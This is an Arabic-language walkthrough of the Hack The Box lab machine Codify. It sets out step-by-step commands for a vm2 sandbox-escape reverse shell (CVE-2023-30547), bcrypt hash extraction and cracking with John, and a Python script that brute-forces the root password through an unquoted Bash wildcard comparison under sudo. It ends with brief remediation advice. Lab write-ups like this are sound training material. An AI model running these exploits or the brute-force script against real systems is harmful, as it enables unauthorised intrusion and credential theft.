
شرح حل لـ Codify (Linux - سهل). يستغل ثغرة vm2 RCE (CVE-2023-30547)، ويستخرج هاش SQLite DB، ويكسر Bcrypt باستخدام John، ويصعّد الامتيازات عبر مقارنة حروف البدل في Bash داخل `mysql-backup.sh`.
شرح كامل لاختبار الاختراق وتوثيق مفصّل لجهاز Codify على منصة Hack The Box.
| الحقل | القيمة |
|---|---|
| الاسم | Codify |
| نظام التشغيل | Linux |
| الصعوبة | Easy |
| المفاهيم الأساسية | vm2 RCE (CVE-2023-30547)، تعداد قاعدة بيانات SQLite، كسر Bcrypt، استغلال مطابقة الأنماط البدل في Bash |
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
⬇️
[CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
⬇️
[SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
⬇️
[John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
⬇️
[Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]
فحص سريع للمنافذ عبر جميع منافذ TCP الـ 65,535 لاكتشاف الخدمات المفتوحة:
Bash
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>
تعداد تفصيلي على المنافذ 22, 80, 3000:
Bash
nmap -sVC -p 22,80,3000 <TARGET_IP>
يستخدم تطبيق الويب الذي يعمل على المنفذ 3000 نسخةً هشّة من مكتبة العزل vm2 الخاصة بـ Node.js.
استنسخ مستودع الاستغلال العام:
Bash
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547
شغّل مستمع Netcat محليًا على جهاز الهجوم:
Bash
ncat -lnvp 4444
نفّذ الاستغلال مستهدفًا تطبيق الويب الهش:
Bash
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444
تحقق من صدفة الوصول الأولي:
Bash
whoami
انتقل إلى دليل الويب /var/www/contact وافحص قاعدة بيانات SQLite:
Bash
cd /var/www/contact
ls -la
sqlite3 tickets.db
استخرج تجزئة bcrypt الخاصة بـ Joshua:
SQL
SELECT password FROM users WHERE username='joshua';
(اضغط CTRL + d للخروج)
اكسر التجزئة المستخرجة باستخدام John the Ripper وrockyou.txt:
Bash
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
سجّل الدخول عبر SSH باستخدام بيانات اعتماد Joshua المكسورة:
Bash
ssh joshua@<TARGET_IP>
cat user.txt
تحقق من أوامر sudo المسموح بها للمستخدم joshua:
Bash
sudo -l
المخرجات: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh
افحص /opt/scripts/mysql-backup.sh:
Bash
cat /opt/scripts/mysql-backup.sh
الثغرة: يستخدم السكربت تطابق أنماط دون اقتباس في Bash ([[ $USER_PASS == $DB_PASS* ]]). وهذا يسمح للرموز البدل (*) داخل إدخال المستخدم بتنفيذ هجوم القوة الغاشمة حرفًا بحرف ضد كلمة المرور الفعلية.
أنشئ bruteforce.py لاستخراج كلمة مرور الجذر حرفًا بحرف:
Python
import string
import subprocess
all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all_characters:
# Test password + character + wildcard (*)
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(f"Found: {password}")
break
else:
found = True
print(f"Root Password: {password}")
شغّل السكربت لاستخراج كلمة المرور:
Bash
python3 bruteforce.py
بدّل إلى سياق المستخدم root باستخدام كلمة المرور المستخرجة:
Bash
su root
cat /root/root.txt
تحديث مكتبات Node.js: أوقف استخدام مكتبات العزل الهشّة أو قم بترقيتها مثل vm2 (CVE-2023-30547).
تأمين سكربتات Bash: ضع دائمًا المتغيرات بين علامتَي اقتباس في عمليات مقارنة النصوص ([[ "$USER_PASS" == "$DB_PASS" ]]) لمنع مطابقة الأنماط غير المقصودة وحقن الرموز البدل في السكربتات ذات الامتيازات.